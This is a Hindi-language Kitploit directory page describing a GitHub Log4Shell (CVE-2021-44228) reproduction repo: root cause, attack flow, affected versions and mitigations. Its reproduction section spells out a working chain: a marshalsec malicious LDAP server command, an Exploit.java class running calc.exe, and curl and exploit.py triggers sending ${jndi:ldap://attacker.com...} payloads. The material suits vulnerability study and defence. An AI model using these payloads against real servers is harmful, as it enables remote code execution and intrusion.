Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI इंजेक्शन RCE | Kitploit
उपकरण/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षारिमोट एक्सेस टूल
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI इंजेक्शन RCE

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
131 महीना पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2021-44228 — Log4Shell: Apache Log4j2 रिमोट कोड निष्पादन

CVSS 10.0 क्रिटिकल | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन | CWE-917: एक्सप्रेशन लैंग्वेज इंजेक्शन के लिए अनुचित न्यूट्रलाइज़ेशन

अवलोकन

Log4Shell (CVE-2021-44228) निस्संदेह 2020 के दशक की सबसे गंभीर भेद्यता है, जो Apache Log4j2 संस्करण 2.0 से 2.14.1 को प्रभावित करती है। नवंबर 2021 में Alibaba Cloud Security के Chen Zhaojun द्वारा खोजा गया और 9 दिसंबर, 2021 को सार्वजनिक रूप से प्रकट किया गया, यह दुनिया भर के लाखों सर्वरों पर अप्रमाणित रिमोट कोड निष्पादन की अनुमति देता है।

यह भेद्यता Log4j2 की JNDI (Java Naming and Directory Interface) लुकअप सुविधा से उत्पन्न होती है, जो लॉग संदेशों में ${jndi:ldap://attacker.com/a} जैसे मनमाने लुकअप स्ट्रिंग की अनुमति देती है। जब उपयोगकर्ता-नियंत्रित स्ट्रिंग जिसमें ऐसा पैटर्न होता है, लॉग किया जाता है, तो Log4j2 JNDI लुकअप करता है, जो रिमोट Java क्लासेस को लोड और निष्पादित कर सकता है।

तकनीकी विवरण

मूल कारण

Log4j2 ने "मैसेज लुकअप" नामक एक सुविधा शुरू की जो लॉग संदेशों में ${...} पैटर्न को विभिन्न स्रोतों (JNDI, पर्यावरण चर, सिस्टम गुण, आदि) से मानों से प्रतिस्थापित करती है। JndiLookup वर्ग () उचित स्वच्छता के बिना आक्रमणकारी-नियंत्रित स्ट्रिंग पर को कॉल करता है।

org.apache.logging.log4j.core.lookup.JndiLookup
InitialContext.lookup()
root@kitploit:~
// JndiLookup.java में संवेदनशील कोड
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // सीधे आक्रमणकारी-नियंत्रित कुंजी को JNDI लुकअप में पास करता है
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

lookup() विधि javax.naming.InitialContext.lookup() को सौंपती है, जो LDAP, RMI, DNS, या CORBA सर्वरों से रिमोट ऑब्जेक्ट लोड कर सकती है।

हमला प्रवाह

root@kitploit:~
1. आक्रमणकारी पेलोड तैयार करता है: ${jndi:ldap://attacker.com/a}
2. पेलोड एप्लिकेशन संदर्भ में प्रवेश करता है (HTTP हेडर, उपयोगकर्ता इनपुट, आदि)
3. एप्लिकेशन पेलोड को लॉग करता है (जैसे, अनुरोध लॉगिंग के माध्यम से)
4. Log4j2 ${...} पैटर्न को संसाधित करता है और JndiLookup को कॉल करता है
5. JNDI लुकअप आक्रमणकारी-नियंत्रित LDAP सर्वर से क्वेरी करता है
6. LDAP सर्वर आक्रमणकारी के Java वर्ग की ओर इशारा करते हुए एक Reference के साथ प्रतिक्रिया करता है
7. Log4j2 / JVM रिमोट वर्ग को प्राप्त करता है और लोड करता है
8. आक्रमणकारी का वर्ग एप्लिकेशन के JVM में मनमाना कोड निष्पादित करता है

प्रभावित संस्करण

संस्करणस्थिति
Log4j 2.0 – 2.14.1संवेदनशील
Log4j 2.15.0-rc1आंशिक सुधार (CVE-2021-45046 बाईपास)
Log4j 2.15.0सीमित सुधार (डिफ़ॉल्ट रूप से JNDI अक्षम, सीमित लुकअप)
Log4j 2.16.0JNDI अक्षम, मैसेज लुकअप हटाए गए
Log4j 2.17.02.x के लिए अंतिम सुधार (CVE-2021-44832)
Log4j 1.xसीधे प्रभावित नहीं (अलग कोडबेस)

पुनरुत्पादन

सेटअप (LDAP रेफरल सर्वर)

दुर्भावनापूर्ण LDAP सर्वर शुरू करने के लिए marshalsec का उपयोग करें:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

एक्सप्लॉइट वर्ग संकलित करें

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Exploit.class सर्व करें

ट्रिगर करें

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

या HTTP हेडर के माध्यम से:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC कोड

शामिल exploit.py प्रदान करता है:

  • JNDI इंजेक्शन पेलोड जनरेशन (LDAP, RMI, DNS वेरिएंट)
  • सामान्य लक्ष्यों के लिए HTTP हेडर इंजेक्शन
  • स्वचालित LDAP रेफरल सर्वर मोड
  • marshalsec या स्टैंडअलोन के साथ सहयोग

शमन

दृष्टिकोणविवरण
Log4j अपग्रेड करें2.17.0+ (2.x) या 2.12.4+ (Java 7) में अपडेट करें
JVM फ्लैग-Dlog4j2.formatMsgNoLookups=true
JndiLookup हटाएंzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
WAF नियमअनुरोधों में ${jndi: पैटर्न को ब्लॉक करें
नेटवर्क नियंत्रणअविश्वसनीय सर्वरों पर आउटबाउंड LDAP/RMI को ब्लॉक करें

संदर्भ

  • NVD: CVE-2021-44228
  • Apache Log4j सुरक्षा सलाह
  • CISA Log4j मार्गदर्शन
  • Lunasec Log4Shell विश्लेषण
टूल डाउनलोड करें